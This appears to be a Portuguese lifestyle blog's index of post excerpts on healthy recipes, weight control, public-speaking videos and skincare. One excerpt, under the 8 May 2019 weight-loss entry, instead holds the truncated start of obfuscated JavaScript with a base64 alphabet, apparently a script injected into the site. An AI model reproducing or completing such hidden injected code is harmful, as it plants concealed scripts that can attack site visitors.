Mai 11, 2019 | À descoberta, Receitas, Teresa
Uma fantástica refeição saudável: espetadas de salmão e bacalhau e uma salada mediterrânea Todos nós gostamos de manter uma alimentação saudável, verdade? Ainda assim, com muita facilidade a nossa vida pode ter um ritmo muito acelerado e, por vezes, pode ser...
Mai 8, 2019 | perder peso, Saúde e bem estar, Teresa
10 mfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mai 7, 2019 | Dicas úteis, Receitas, Saúde e bem estar, Teresa
Descobri recentemente esta raiz com propriedades medicinais, originária da Índia e China, e estou fã. Uso-a em chá, na minha água para controlar o peso, e na comida. Tem propriedades anti-inflamatórias, antioxidantes e também ajuda a controlar os níveis de colesterol...
Jan 21, 2019 | Em Alta, Eu, Teresa, O meu trabalho, Teresa
Este vídeo tem piada! Olá! Hoje trago-lhe um novo vídeo da minha rubrica “Nem entra mosca, nem sai asneira”. A qual gosto tanto de fazer para si! Conhece alguém que pensa que é engraçado, mas nem sempre o é? Então este vídeo é direcionado para essa...
Dez 9, 2018 | Em Alta, Os meus vídeos, Teresa
Guerra de sexos! Lembra-se do “Eterno Feminino”? Foi o primeiríssimo programa que eu apresentei em televisão. E foi tão marcante que decidi atribuir este nome à minha nova rubrica, onde falarei de muitos assuntos que interessam a todas nós mulheres....
Dez 7, 2018 | Em Alta, O meu trabalho, Teresa
Ai que tenho de falar em público! Bem-vindo ao segundo episódio da minha nova rubrica de comunicação “Não entra mosca, nem sai asneira”. Hoje vou dar-lhe dicas para ajudar a ultrapassar o medo de falar em público. A verdade é que, ao longo da minha vida,...
Dez 5, 2018 | Em Alta, Eu, Teresa, O meu mundo, Teresa
Tire a mão da anca que você não é um super-herói! Olá, fico muito contente que esteja desse lado a ler-me! E porquê? Porque hoje começa uma nova aventura aqui mesmo. É verdade, a partir de hoje partilharei consigo aqui, no meu site, muitos vídeos novos. É algo que...
Dez 3, 2017 | Estilo e beleza, Teresa
O meu óleo de rosto favorito Acredita que 2017 já está quase a terminar? É verdade, num piscar de olhos já estamos em Dezembro. O tempo é assim – voa! E se é verdade que não podemos parar o tempo, também é verdade que podemos procurar aliados que garantam que...
